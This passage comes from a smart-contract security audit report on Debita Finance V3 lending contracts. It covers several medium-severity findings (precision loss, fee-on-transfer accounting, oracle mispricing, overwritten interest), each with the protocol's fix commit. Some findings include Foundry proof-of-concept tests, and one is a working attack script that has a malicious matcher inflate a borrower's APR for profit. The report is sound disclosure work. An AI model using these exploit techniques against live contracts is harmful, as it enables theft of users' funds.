-           (10 ** decimalsToken1);
+           (10 ** decimalsToken0);
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/c5573af2b866686390a82eef67817454624ed9c7

Issue M-10: Precision loss leads to locked incentives in `DebitaIncentives::claimIncentives()`

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/385

Found by

BengalCatBalu, KlosMitSoss, Maroutis, VAD37, dany.armstrong90, jsmi, pashap9990

Summary

When a lender or borrwer calls `DebitaIncentives::claimIncentives()` to claim a share of the incentives for a specific token pair they interacted with during an epoch, their share is calculated as a percentage. This percentage is determined based on the amount they lent or borrowed through the protocol during that epoch, relative to the total amount lent and borrowed by all users in the same period.

The percentage is rounded to two decimal places, which means up to `0.0099%` of the incentives may remain unclaimed for each lender or borrower. Consider the following simple scenario:

1. Six lenders each lent `5e18` over a 14-day period for a specific token pair
2. That token pair is incentivized with `1000e18`
3. The total amount lent equals `6 * 5e18 = 30e18`

After each lender calls `DebitaIncentives::claimIncentives()`, there will still be `4e17` locked in the contract permanently. This means the incentivizer loses `0.04%` of their incentives and every lender lost `4e17 / 6`.

Root Cause

In `DebitaIncentives.sol`, there is no mechanism for incentivizers to withdraw unclaimed incentives that cannot be claimed due to precision loss.

Internal pre-conditions

1. Incentivizers need to call `DebitaIncentives::incentivizePair()` to incentivize specific token pairs.
2. Users need to interact with one of these incentivized pairs by borrowing or lending them.

External pre-conditions

None.

Attack Path

1. A user that interacted with an incentivized token pair calls `DebitaIncentives::claimIncentives()`. He will receive less funds due to rounding. The funds will be stuck in the contract.

Impact

In this example, the incentivizer suffers an approximate loss of `0.04%`. This loss could increase as the number of distinct lenders and borrowers interacting with the protocol grows, aligning with the protocol's objective of fostering increased activity. Users experience a partial loss of their incentive share each time they interact with an incentivized pair within a 14-day period.

It is important to note that incentivizers can incentivize an unlimited number of token pairs for an unlimited number of `epochs`. Additionally, lenders can participate across multiple `epochs`.

While the amount of locked funds in this simple scenario is relatively small, similar scenarios could occur repeatedly over an unlimited number of `epochs`. Over time, this accumulation could result in hundreds of tokens being permanently locked in the contract.

PoC

The following should be added in `MultipleLoansDuringIncentives.t.sol`:

```
address fourthLender = address(0x04);
address fifthLender = address(0x05);
address sixthLender = address(0x06);
```

Add the following test to `MultipleLoansDuringIncentives.t.sol`:

```
function testUnclaimableIncentives() public {
    incentivize(AERO, AERO, USDC, true, 1000e18, 2);
    vm.warp(block.timestamp + 15 days);
    createLoan(borrower, firstLender, AERO, AERO);
    createLoan(borrower, secondLender, AERO, AERO);
    createLoan(borrower, thirdLender, AERO, AERO);
    createLoan(borrower, fourthLender, AERO, AERO);
    createLoan(borrower, fifthLender, AERO, AERO);
    createLoan(borrower, sixthLender, AERO, AERO);
    vm.warp(block.timestamp + 30 days);
```

```
// principles, tokenIncentives, epoch with dynamic Data
address[] memory principles = allDynamicData.getDynamicAddressArray(1);
address[] memory tokenUsedIncentive = allDynamicData
    .getDynamicAddressArray(1);
address[][] memory tokenIncentives = new address[][](
    tokenUsedIncentive.length
);
principles[0] = AERO;
tokenUsedIncentive[0] = USDC;
tokenIncentives[0] = tokenUsedIncentive;

vm.startPrank(firstLender);
uint balanceBefore_First = IERC20(USDC).balanceOf(firstLender);
incentivesContract.claimIncentives(principles, tokenIncentives, 2);
uint balanceAfter_First = IERC20(USDC).balanceOf(firstLender);
vm.stopPrank();

vm.startPrank(secondLender);
uint balanceBefore_Second = IERC20(USDC).balanceOf(secondLender);
incentivesContract.claimIncentives(principles, tokenIncentives, 2);
uint balanceAfter_Second = IERC20(USDC).balanceOf(secondLender);
vm.stopPrank();

vm.startPrank(thirdLender);
uint balanceBefore_Third = IERC20(USDC).balanceOf(thirdLender);
incentivesContract.claimIncentives(principles, tokenIncentives, 2);
uint balanceAfter_Third = IERC20(USDC).balanceOf(thirdLender);
vm.stopPrank();

vm.startPrank(fourthLender);
uint balanceBefore_Fourth = IERC20(USDC).balanceOf(fourthLender);
incentivesContract.claimIncentives(principles, tokenIncentives, 2);
uint balanceAfter_Fourth = IERC20(USDC).balanceOf(fourthLender);
vm.stopPrank();

vm.startPrank(fifthLender);
uint balanceBefore_Fifth = IERC20(USDC).balanceOf(fifthLender);
incentivesContract.claimIncentives(principles, tokenIncentives, 2);
uint balanceAfter_Fifth = IERC20(USDC).balanceOf(fifthLender);
vm.stopPrank();

vm.startPrank(sixthLender);
uint balanceBefore_Sixth = IERC20(USDC).balanceOf(sixthLender);
incentivesContract.claimIncentives(principles, tokenIncentives, 2);
uint balanceAfter_Sixth = IERC20(USDC).balanceOf(sixthLender);
vm.stopPrank();

uint claimedFirst = balanceAfter_First - balanceBefore_First;
uint claimedSecond = balanceAfter_Second - balanceBefore_Second;
```

```
    uint claimedThird = balanceAfter_Third - balanceBefore_Third;
    uint claimedFourth = balanceAfter_Fourth - balanceBefore_Fourth;
    uint claimedFifth = balanceAfter_Fifth - balanceBefore_Fifth;
    uint claimedSixth = balanceAfter_Sixth - balanceBefore_Sixth;

    assertEq(claimedFirst, claimedSecond);
    assertEq(claimedSecond, claimedThird);
    assertEq(claimedThird, claimedFourth);
    assertEq(claimedFourth, claimedFifth);
    assertEq(claimedFifth, claimedSixth);

    // formula percentage: porcentageLent = (lentAmount * 10000) / totalLentAmount;
    // (5e18 * 10000) / 30e18 = 1666.66667 (16.6666667%)
    // rounded to 1666 (16%), 0.66667 (0.0066667%) will be lost
    uint amount = (1000e18 * 1666) / 10000;

    assertEq(amount, 1666e17);
    assertEq(claimedFirst, amount);

    uint claimedAmount = claimedFirst + claimedSecond + claimedThird +
↪   claimedFourth + claimedFifth + claimedSixth;

    // 6 different lenders with lend orders of 5e18 will not get the whole 1000e18
↪   of incentives
    assertNotEq(1000e18, claimedAmount);

    // percentage should be approximately 1666.66667 (16.6666667%)
    // rounded to 1666 (16%), 0.66667 (0.0066667%) will be lost per lend order

    uint lockedAmount = 1000e18 - claimedAmount;

    // 0.04% of 1000e18 (4e17) will be locked forever
    assertEq(lockedAmount, 4e17);
}
```

Mitigation

Consider adding a mechanism that allows incentivizers to withdraw their unclaimed incentives from all their past incentivized epochs after a specified period following the end of the last incentivized epoch (e.g., two epochs later).

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/f9fc693f1fb78447b4

4a11be8808b1d482b6e0ae

Issue M-11: Auctioned `taxTokensReceipt` NFT Blocks Last Claimant Due to Insufficient Funds

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/470

Found by

0x37, KaplanLabs, bbl4de, dimulski

Summary

In the Auction::buyNFT function, users can purchase the current NFT in an auction using the same type of tokens as the underlying asset of the NFT. For example, `taxTokensReceipt` created with FoT tokens must be bought with the same FoT tokens.

During the execution of this function, a `transferFrom()` is performed to transfer funds from the buyer to the auction owner (loan contract). However, it does not account for fees applied during the transfer:

```
        SafeERC20.safeTransferFrom(
            IERC20(m_currentAuction.sellingToken),
            msg.sender,
            s_ownerOfAuction,
>>          currentPrice - feeAmount // feeAmount: Fee for the protocol
        );
```

Later in the function, it calls DebitaV3Loan::handleAuctionSell to distribute the collateral received from the buyer among the parties involved in the loan:

```
        if (m_currentAuction.isLiquidation) {
            debitaLoan(s_ownerOfAuction).handleAuctionSell(
>>              currentPrice - feeAmount
            );
        }
```

The issue arises because the auction contract does not consider the fee on transfer when selling an auctioned `taxTokensReceipt` NFT. As a result, the final person attempting to claim their share of the collateral on the loan contract will encounter a revert due to insufficient funds.

Root Cause

Not accounting for the fee on transfer when purchasing a `taxTokensReceipt` NFT being auctioned.

Internal pre-conditions

- Creation a `taxTokenReceipt` NFT with an FoT token.
- Use this `taxTokenReceipt` NFT as collateral in a loan with multiple lenders.
- The loan defaults and the collateral is auctioned.

External pre-conditions

No response

Attack Path

- **FoT Token Fee:** 1% fee on every transfer.

Steps:

1. The borrower creates a `taxTokensReceipt` NFT wrapping **10,000 FoT tokens**.
2. This NFT is used as collateral in a loan with multiple lenders.
3. At the end of the loan, the borrower defaults and auctions the NFT.
4. During the auction, another user buys the NFT for **7,000 FoT**, but due to the FoT token's transfer fee, the loan contract receives only **6,930 FoT**.
5. Inside `handleAuctionSell()`, the system calculates an inflated `tokenPerCollateralUsed` value (used to split collateral among the remaining claimants) because it doesn't account for the transfer fee.
6. **Impact:** When multiple lenders attempt to claim their share of the collateral, the last lender is unable to claim due to insufficient funds in the contract.

Impact

The last person attempting to claim the collateral in the loan will be unable to do so.

PoC

No response

Mitigation

Take into account the fee on transfer when buying the `taxTokenReceipt` NFT.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/DebitaFinance/Debita-V3-Contracts/commit/7c2bd9e63c95e38f22f3478d36f72c33e8b17117

Issue M-12: A borrower may pay more interest that he has specified, if orders are matched by a malicious actor

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/480

Found by

0x37, BengalCatBalu, dimulski, h4rs0n, newspacexyz

Summary

In the `DebitaV3Aggregator.sol` contract, anybody can match borrow and lend orders by calling the matchOffersV3() function. When borrowers create their borrow orders they specify a maximum APR they are willing to pay. However the matchOffersV3() function allows the caller to specify an array of 29 different lend orders to be matched against each borrow offer. Another important parameter is the `uint[] memory lendAmountPerOrder` which specifies the amount of principal tokens each lend order will provide. A malicious user can provide smaller amounts for a part of the `lendAmountPerOrder` params, such that the borrower pays a higher APR on this amounts. The problem arises due to the fact that there are no minimum restrictions on the `lendAmountPerOrder` (except it being bigger than 0), and the fact that solidity rounds down on division.

```
uint updatedLastApr = (weightedAverageAPR[principleIndex] *
↪  amountPerPrinciple[principleIndex]) / (amountPerPrinciple[principleIndex] +
↪  lendAmountPerOrder[i]);
uint newWeightedAPR = (lendInfo.apr * lendAmountPerOrder[i]) /
↪  amountPerPrinciple[principleIndex];
weightedAverageAPR[principleIndex] = newWeightedAPR + updatedLastApr;
```

As we can see form the code snippet above, when the `newWeightedAPR` is calculated if the APR specified by the lender of a lend order and the lendAmountPerOrder product is less than the amountPerPrinciple[principleIndex], 0 will be added to the weightedAverageAPR for the borrow order. Now if the borrower has requested a lot of funds, paying much bigger APR than the one he specified on **2% - 3%** on those funds results in big loss for the borrower. Let's consider a simplified example of the PoC provided in the PoC section

- A borrower creates a borrow offer for **500_000e6 USDC**, with **WETH** as collateral, a **5% APR**, and a ratio of **2_500e6 USDC** for **1e18 WETH**, for a duration of **150 days**.
- There might be several lenders that have created orders that match the params of the borrow order, for simplicity consider there is one lender - LenderA that matches

the params, and he has provided **495_000e6 USDC** as available principal, or is left with such amount, after his lend order was matched with other borrow orders.

- Now the person who is matching the orders can either create a lend offer with higher APR, or find another lender who provides an accepted principal by the borrower, and accepts the offered collateral, but has a higher APR than the one specified by the borrower.
- We assumer the user matching the orders creates a lend order with **10% APR**, which is double the APR specified by the borrower (instead of only hurting the borrower by making him pay more interest, he is also going to profit).
- When matching the orders, the user will first provide a lendAmountPerOrder of **200_000e6 + 1** from the lend order of LenderA, and then 28 more lendAmountPerOrder **200e6** each from the lend order with 10% APR
- Since the max length of the lendAmountPerOrder is 29, for a bigger impact the malicious user will call the matchOffersV3() function once more, this time setting the first lendAmountPerOrder to be **286_391e6 + 1**, and the next amounts for the lendAmountPerOrder will be **286e6**
- This results in two separate loan orders, however they are both for the same borrow order, in this way the borrower will have to pay **5% APR** on **486_391e6 + 2 USDC**, and **10% APR** on **13_608e6 USDC**. The borrower will have to pay double the APR he specified on ~**2.72%** of the funds he received(excluding the Debita protocol withheld fees, on which the borrower still pays interest). This results in the borrower paying **10_553_568_492 USDC** instead of **10_273_952_054 USDC**, which is a difference of **279_616_438** ~**279e6 USDC**, for the 150 day duration of the loan. Note that the above calculation are provided in the PoC below.

In conclusion this results in the borrower paying double the APR he specified on part of the principal he received. Keep in mind that the collateral is worth more than the principal, so the borrower is incentivized to repay his debt back, for some reason Debita has decided to not utilize liquidation if the nominal dollar value drops below the dollar nominal value of the principal, and rely only on loan duration for loan liquidations. Also in the above scenario the malicious actor profited by collecting a bigger interest rate on his assets.

Root Cause

In the matchOffersV3() function, there are no limitations on who can call the function, and on the provided parameters.

Internal pre-conditions

Borrower creates a big borrow order

External pre-conditions

No response

Attack Path

No response

Impact

When borrow orders are big (there are numerous cases where people have taken out millions in loans, by providing crypto assets as collateral), malicious actors can match borrow and lend orders in such a way that the borrower pays much more APR than he has specified on a percentage of the principal he receives. This is a clear theft of funds, and in most cases the attacker can profit, if he matches the borrow order with a lend order of himself with a higher APR, and once the loan is repaid, collect the interest rate.

PoC

Gist After following the steps in the above mentiond gist add the following test to the `AuditorTests.t.sol` file:

```
function test_InflateAPR() public {
    vm.startPrank(alice);
    WETH.mint(alice, 200e18);
    WETH.approve(address(dboFactory), type(uint256).max);

    bool[] memory oraclesActivated = new bool[](1);
    oraclesActivated[0] = false;

    uint256[] memory LTVs = new uint256[](1);
    LTVs[0] = 0;

    address[] memory acceptedPrinciples = new address[](1);
    acceptedPrinciples[0] = address(USDC);

    address[] memory oraclesAddresses = new address[](1);
    oraclesAddresses[0] = address(0);

    uint256[] memory ratio = new uint256[](1);
    ratio[0] = 2_500e6;

    /// @notice alice wants 2_500e6 USDC for 1 WETH
    address aliceBorrowOrder = dboFactory.createBorrowOrder(
        oraclesActivated,
        LTVs,
        500, /// @notice set max interest rate to 5%
```

```
        150 days,
        acceptedPrinciples,
        address(WETH),
        false,
        0,
        oraclesAddresses,
        ratio,
        address(0),
        200e18
    );
    vm.stopPrank();

    vm.startPrank(bob);
    USDC.mint(bob, 495_000e6);
    USDC.approve(address(dloFactory), type(uint256).max);

    address[] memory acceptedCollaterals = new address[](1);
    acceptedCollaterals[0] = address(WETH);

    address bobLendOffer = dloFactory.createLendOrder(
        false,
        oraclesActivated,
        false,
        LTVs,
        500,
        151 days,
        10 days,
        acceptedCollaterals,
        address(USDC),
        oraclesAddresses,
        ratio,
        address(0),
        495_000e6
    );
    vm.stopPrank();

    vm.startPrank(attacker);
    USDC.mint(attacker, 15_000e6);
    USDC.approve(address(dloFactory), type(uint256).max);

    address attackerLendOffer = dloFactory.createLendOrder(
        false,
        oraclesActivated,
        false,
        LTVs,
        1000,
        151 days,
        10 days,
        acceptedCollaterals,
        address(USDC),
```

```
        oraclesAddresses,
        ratio,
        address(0),
        15_000e6
    );

    /// @notice match orders
    address[] memory lendOrders = new address[](29);
    lendOrders[0] = address(bobLendOffer);
    for(uint256 i = 1; i < 29; i++) {
        lendOrders[i] = address(attackerLendOffer);
    }

    uint[] memory lendAmountPerOrder1 = new uint[](29);
    lendAmountPerOrder1[0] = 200_000e6 + 1;
    uint256 sumLendedLoanOrder1 = lendAmountPerOrder1[0];
    for(uint256 i = 1; i < 29; i++) {
        lendAmountPerOrder1[i] = 200e6;
        sumLendedLoanOrder1 += lendAmountPerOrder1[i];
    }

    uint[] memory porcentageOfRatioPerLendOrder = new uint[](29);
    for(uint256 i; i < 29; i++) {
        porcentageOfRatioPerLendOrder[i] = 10_000;
    }

    address[] memory principles = new address[](1);
    principles[0] = address(USDC);

    uint[] memory indexForPrinciple_BorrowOrder = new uint[](1);
    indexForPrinciple_BorrowOrder[0] = 0;

    uint[] memory indexForCollateral_LendOrder = new uint[](29);
    for(uint256 i; i < 29; i++) {
        indexForCollateral_LendOrder[i] = 0;
    }

    uint[] memory indexPrinciple_LendOrder = new uint[](29);
    for(uint256 i; i < 29; i++) {
        indexPrinciple_LendOrder[i] = 0;
    }

    address loanOrder1 = debitaV3Aggregator.matchOffersV3(
        lendOrders,
        lendAmountPerOrder1,
        porcentageOfRatioPerLendOrder,
        aliceBorrowOrder,
        principles,
        indexForPrinciple_BorrowOrder,
        indexForCollateral_LendOrder,
```

```
        indexPrinciple_LendOrder
    );

    uint[] memory lendAmountPerOrder2 = new uint[](29);
    lendAmountPerOrder2[0] = 286_391e6 + 1;
    uint256 sumLendedLoanOrder2 = lendAmountPerOrder2[0];
    for(uint256 i = 1; i < 29; i++) {
        lendAmountPerOrder2[i] = 286e6;
        sumLendedLoanOrder2 += lendAmountPerOrder2[i];
    }

    address loanOrder2 = debitaV3Aggregator.matchOffersV3(
        lendOrders,
        lendAmountPerOrder2,
        porcentageOfRatioPerLendOrder,
        aliceBorrowOrder,
        principles,
        indexForPrinciple_BorrowOrder,
        indexForCollateral_LendOrder,
        indexPrinciple_LendOrder
    );

    vm.stopPrank();

    vm.startPrank(alice);
    skip(150 days);

    uint256 aliceTotalBorrowed = sumLendedLoanOrder1 + sumLendedLoanOrder2;
    console2.log("Alice's total borrowed: ", aliceTotalBorrowed);
    uint256 taxedFee = aliceTotalBorrowed * 80 / 10_000;
    uint256 aliceUSDCBalance = USDC.balanceOf(alice);
    uint256 subFeeFromBalacne = aliceTotalBorrowed - taxedFee;
    uint256 aliceSupposedInterest = (aliceTotalBorrowed * 500) / 10000;
    uint256 duration = 150 days;
    uint256 aliceSupposedFinalPayment = (aliceSupposedInterest * duration) /
↪   31536000;
    console2.log("The amount alice should have paid after 150 days on 5%APR : ",
↪   aliceSupposedFinalPayment);

    uint256 alice10APR = (13_608e6 * 1_000) / 10_000;
    uint256 alice10APRFinalPayment = (alice10APR * duration) / 31536000;
    uint256 aliceNormalAPR = ((lendAmountPerOrder1[0] + lendAmountPerOrder2[0]) *
↪   500) / 10_000;
    uint256 aliceNormalAPRFinalPayment = (aliceNormalAPR * duration) / 31536000;
    uint256 aliceActualFinalInterestPayment = alice10APRFinalPayment +
↪   aliceNormalAPRFinalPayment;

    console2.log("Alice's actual final interest payment: ",
↪   aliceActualFinalInterestPayment);
```

```
    console2.log("Alice's overpays with: ", aliceActualFinalInterestPayment -
↪   aliceSupposedFinalPayment);

    USDC.mint(alice, 50_000e6);
    USDC.approve(address(loanOrder1), type(uint256).max);
    USDC.approve(address(loanOrder2), type(uint256).max);

    uint[] memory indexes = new uint[](29);
    for(uint256 i; i < 29; i++) {
        indexes[i] = i;
    }
    uint256 aliceUSDCBalanceBeforeRepaying = USDC.balanceOf(alice);
    DebitaV3Loan(loanOrder1).payDebt(indexes);
    DebitaV3Loan(loanOrder2).payDebt(indexes);
    uint256 aliceUSDCBalanceAfterRepaying = USDC.balanceOf(alice);
    uint256 aliceTotalPaidAmount = aliceUSDCBalanceBeforeRepaying -
↪   aliceUSDCBalanceAfterRepaying;
    console2.log("Alice's total paid amount: ", aliceTotalPaidAmount);
    vm.stopPrank();
}
```

```
Alice's total borrowed:  499999000002
The amount alice should have paid after 150 days on 5APR :  10273952054
Alice's actual final interest payment:  10553568492
Alice's overpays with:  279616438
Alice's total paid amount:  510552568474
```

As can be seen from the logs above, and as explained in the example in the summary section, alice will overpay ~**279e6 USDC**, this attack can be performed on multiple borrowers. **((10553568492 - 10273952054) / 10273952054) * 100 = 2.72%**. The borrower overpays by more than **1%** and more than **$10**, which I believe satisfies the requirement for a high severity.

To run the test use: `forge test -vvv --mt test_InflateAPR`

Mitigation

No response

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/deaf6819f98d9d8f5ead178cd21ed80921d5f340

Issue M-13: Interest paid for non perpetual loan during loan extension is lost when the borrower repays debt

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/483

Found by

0x37, Audinarey, ExtraCaterpillar, KaplanLabs, dimulski, newspacexyz, robertodf, t.aksoy

Summary

When a borrower call `extendLoan()`to extend a loan to the max deadline, interest is accrued to the lender up until the time the loan is extended and the lender's `interestPaid` is updated as well for accounting purpose when calculating the interest with `calculateInterestToPay()`

Root Cause

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L655-L65

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L237C1-L241C14

As shown below interest is accrued and `interestPaid` is also accrued correctly

```
File: DebitaV3Loan.sol
655:                 } else {
656:       @>            loanData._acceptedOffers[i].interestToClaim +=
657:                         interestOfUsedTime -
658:                         interestToPayToDebita;
659:                 }
660:                 loanData._acceptedOffers[i].interestPaid += interestOfUsedTime;
```

The problem is that when a borrower extends a loan and later repays the loan a the end of the `maxDeadline` that the loan was extended to, the unpaid interest is used to **overwrite the previously accrued interest** (as shown on L238 below) thus leading to a loss of interest to the borrower

```
File: DebitaV3Loan.sol
186:     function payDebt(uint[] memory indexes) public nonReentrant {
```

```
187:         IOwnerships ownershipContract = IOwnerships(s_OwnershipContract);
////SNIP   .......
237:             } else {
238:     @>              loanData._acceptedOffers[index].interestToClaim =
239:                       interest -
240:                       feeOnInterest;
241:             }
```

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

No response

Impact

This leads to a loss of interest for the lender

PoC

No response

Mitigation

Modify the `payDebt()` function as shown below

```
File: DebitaV3Loan.sol
186:     function payDebt(uint[] memory indexes) public nonReentrant {
187:         IOwnerships ownershipContract = IOwnerships(s_OwnershipContract);
////SNIP   .......
237:             } else {
-238:                   loanData._acceptedOffers[index].interestToClaim =
+238:                   loanData._acceptedOffers[index].interestToClaim +=
239:                    interest -
240:                    feeOnInterest;
```

```
241:             }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/c6047ca43070746cbf8adcab12784e583d1de5d5

Issue M-14: The `MixOracle.getThePrice` function calculates the price incorrectly using the `TarotOracle.getResult` function as the TWAP price

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/501

Found by

KupiaSec

Summary

The `MixOracle.getThePrice` function calculates the price using the `TarotOracle` contract and the `pyth` oracle. However, it incorrectly uses the `TarotOracle.getResult` function as the TWAP price, which disrupts the matching mechanism for lend and borrow orders.

Root Cause

In the MixOracle.getThePrice function, the `twapPrice112x112` is retrieved from the `TarotOracle.getResult` function at L50. It then calculates the price of 1 token1 in USD using `twapPrice112x112` and the price from the `pyth` oracle at L65.

```
        ITarotOracle priceFeed = ITarotOracle(_priceFeed);
        address uniswapPair = AttachedUniswapPair[tokenAddress];
        require(isFeedAvailable[uniswapPair], "Price feed not available");
L50:    (uint224 twapPrice112x112, ) = priceFeed.getResult(uniswapPair);
        [...]
        int amountOfAttached = int(
            (((2 ** 112)) * (10 ** decimalsToken1)) / twapPrice112x112
        );
L65:    uint price = (uint(amountOfAttached) * uint(attachedTokenPrice)) /
            (10 ** decimalsToken1);
```

The `TarotOracle.getResult` function returns the time-weighted average of `reserve0 + price`, rather than the TWAP price, from L46. Also, it does not synchronize with `uniswapV2Pair`.

```
File: contracts\oracles\MixOracle\TarotOracle\TarotPriceOracle.sol
    function getPriceCumulativeCurrent(
        address uniswapV2Pair
    ) internal view returns (uint256 priceCumulative) {
```

```
        priceCumulative = IUniswapV2Pair(uniswapV2Pair)
            .reserve0CumulativeLast();
        (
            uint112 reserve0,
            uint112 reserve1,
            uint32 _blockTimestampLast
        ) = IUniswapV2Pair(uniswapV2Pair).getReserves();
        uint224 priceLatest = UQ112x112.encode(reserve1).uqdiv(reserve0);
        uint32 timeElapsed = getBlockTimestamp() - _blockTimestampLast; // overflow
 ↪  is desired
        // * never overflows, and + overflow is desired
L46:    priceCumulative += (uint256(priceLatest) * timeElapsed);
    }
```

This means that the `twapPrice112x112` in the `MixOracle.getThePrice` function is not the correct TWAP price. Consequently, the `DebitaV3Aggregator.matchOffersV3` uses an incorrect price to match lend and borrow orders.

Internal pre-conditions

A user creates the order with MixOracle.

External pre-conditions

1. None

Attack Path

None

Impact

The incorrect price from the `MixOracle` disrupts the matching mechanism for lend and borrow orders. This causes user's loss of funds.

PoC

Change the code in the `MixOracle.getThePrice` function to get the correct price from the `uniswapV2Pair`.

```
File: code\Debita-V3-Contracts\contracts\oracles\MixOracle\MixOracle.sol
-   function getThePrice(address tokenAddress) public returns (int) {
+   function getTotalPrice(address tokenAddress, address uniswapV2Pair) public
 ↪  returns (int, int) {
        // get tarotOracle address
```

```
        address _priceFeed = AttachedTarotOracle[tokenAddress];
        require(_priceFeed != address(0), "Price feed not set");
        require(!isPaused, "Contract is paused");
        ITarotOracle priceFeed = ITarotOracle(_priceFeed);

        address uniswapPair = AttachedUniswapPair[tokenAddress];
        require(isFeedAvailable[uniswapPair], "Price feed not available");
        // get twap price from token1 in token0
        (uint224 twapPrice112x112, ) = priceFeed.getResult(uniswapPair);
        address attached = AttachedPricedToken[tokenAddress];

        // Get the price from the pyth contract, no older than 20 minutes
        // get usd price of token0
        int attachedTokenPrice = IPyth(debitaPythOracle).getThePrice(attached);
        uint decimalsToken1 = ERC20(attached).decimals();
        uint decimalsToken0 = ERC20(tokenAddress).decimals();

        // calculate the amount of attached token that is needed to get 1 token1
        int amountOfAttached = int(
            (((2 ** 112)) * (10 ** decimalsToken1)) / twapPrice112x112
        );

        // calculate the price of 1 token1 in usd based on the attached token
        uint price = (uint(amountOfAttached) * uint(attachedTokenPrice)) /
            (10 ** decimalsToken1);

        require(price > 0, "Invalid price");
-       return int(uint(price));
+       uint wftmPrice = IUniswapV2Pair(uniswapV2Pair).current(tokenAddress, 1e18);
+       // uint realPrice = (uint(attachedTokenPrice)) * wftmPrice;
+       uint realPrice = (uint(attachedTokenPrice)) * wftmPrice / (10 **
 ↪  decimalsToken1);
+       return (int(uint(price)), int(uint(realPrice)));
    }
```

And add the following `testTotalPrice` test function in the `OracleTarotUSDCEQUAL.t.sol`.

```
File: code\Debita-V3-Contracts\test\fork\Loan\ltv\Tarot-Fantom\OracleTarotUSDCEQUAL
 ↪  .t.sol
    function testTotalPrice() public{
        IUniswapV2Pair(EQUALPAIR).sync();
        DebitaMixOracle.setAttachedTarotPriceOracle(EQUALPAIR);
        vm.warp(block.timestamp + 1201);
        IUniswapV2Pair(EQUALPAIR).sync();
        (int originPrice, int realPrice) = DebitaMixOracle.getTotalPrice(EQUAL,
 ↪  EQUALPAIR);
        console.logString(" price:");
        console.logUint(uint(originPrice));
        console.logString("actual price:");
```

```
        console.logUint(uint(realPrice));
        console.logString("price diff ratio:");
        console.logUint(uint(originPrice / realPrice));
    }
```

Use the following command to test above function.

```
forge test --rpc-url https://mainnet.base.org --match-path
↪  test/fork/Loan/ltv/Tarot-Fantom/OracleTarotUSDCEQUAL.t.sol --match-test
↪  testTotalPrice -vvv
```

The result is as following:

```
mix price:
147639521176897807
actual price:
926069876
price diff ratio:
159425897
```

This indicates that the mix price is 147,639,521,176,897,807, while the actual price is 926,069,876. The mix price is significantly higher than the actual price.

Mitigation

It is recommended to change the code as following:

```
File: code\Debita-V3-Contracts\contracts\oracles\MixOracle\MixOracle.sol
    function getThePrice(address tokenAddress) public returns (int) {
-       address _priceFeed = AttachedTarotOracle[tokenAddress];
-       require(_priceFeed != address(0), "Price feed not set");
-       require(!isPaused, "Contract is paused");
-       ITarotOracle priceFeed = ITarotOracle(_priceFeed);
-       address uniswapPair = AttachedUniswapPair[tokenAddress];
-       require(isFeedAvailable[uniswapPair], "Price feed not available");
-       (uint224 twapPrice112x112, ) = priceFeed.getResult(uniswapPair);
+       uint224 twapPrice112x112 =
↪  uint224(IUniswapV2Pair(uniswapV2Pair).current(tokenAddress, 1e18));
        address attached = AttachedPricedToken[tokenAddress];

        // Get the price from the pyth contract, no older than 20 minutes
        // get usd price of token0
        int attachedTokenPrice = IPyth(debitaPythOracle).getThePrice(attached);
        uint decimalsToken1 = ERC20(attached).decimals();
        uint decimalsToken0 = ERC20(tokenAddress).decimals();

        // calculate the amount of attached token that is needed to get 1 token1
        int amountOfAttached = int(
```

```
            (((2 ** 112)) * (10 ** decimalsToken1)) / twapPrice112x112
        );

        // calculate the price of 1 token1 in usd based on the attached token
        uint price = (uint(amountOfAttached) * uint(attachedTokenPrice)) /
            (10 ** decimalsToken1);

        require(price > 0, "Invalid price");
        return int(uint(price));
    }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/febd7ff204f60af400cd4ff00706da0bb7d47609

Issue M-15: MixOracle is broken due to hardcoded position

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/540

Found by

tjonair, xiaoming90

Summary

No response

Root Cause

No response

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

Following is the information about `MixOracle` extracted from the Debita's documentation for context:

> To integrate a token without a direct oracle, a mix oracle is utilized. This oracle uses a TWAP oracle to compute the conversion rate between Token A and Token B. Token B must be supported on PYTH oracle, and the pricing pool should have substantial liquidity to ensure security.
> This approach enables us to obtain the USD valuation of tokens that would otherwise would be impossible.

The following attempts to walk through how the MixOracle is used for reader understanding before jumping into the issue.

WFTM token is supported on Pyth Oracle via the `WFTM/USD` price feed, but there is no oracle in Fantom Chain that supports EQUAL token. Thus, the `MixOracle` can be

leveraged to provide the price of the EQUAL token even though no EQUAL price oracle exists. A pricing pool with substantial liquidity that consists of EQUAL token can be used here.

Let's use the WFTM/EQUAL pool (EQUALPAIR = 0x3d6c56f6855b7Cc746fb80848755B0a9c3770122) from Equalizer within the test script for illustration.

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/test/fork/Loan/ltv/Tarot-Fantom/OracleTarotUSDCEQUAL.t.sol#L138

```
File: OracleTarotUSDCEQUAL.t.sol
136:     function testUSDCPrincipleAndEqualCollateral() public {
137:         createOffers(USDC, EQUAL);
138:         DebitaMixOracle.setAttachedTarotPriceOracle(EQUALPAIR);
139:         vm.warp(block.timestamp + 1201);
140:         int priceEqual = DebitaMixOracle.getThePrice(EQUAL);
```

The token0 and token1 of the WFTM/EQUAL pool are as follows as retrieved from the FTMscan:

- token0 = 0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83 = WFTM
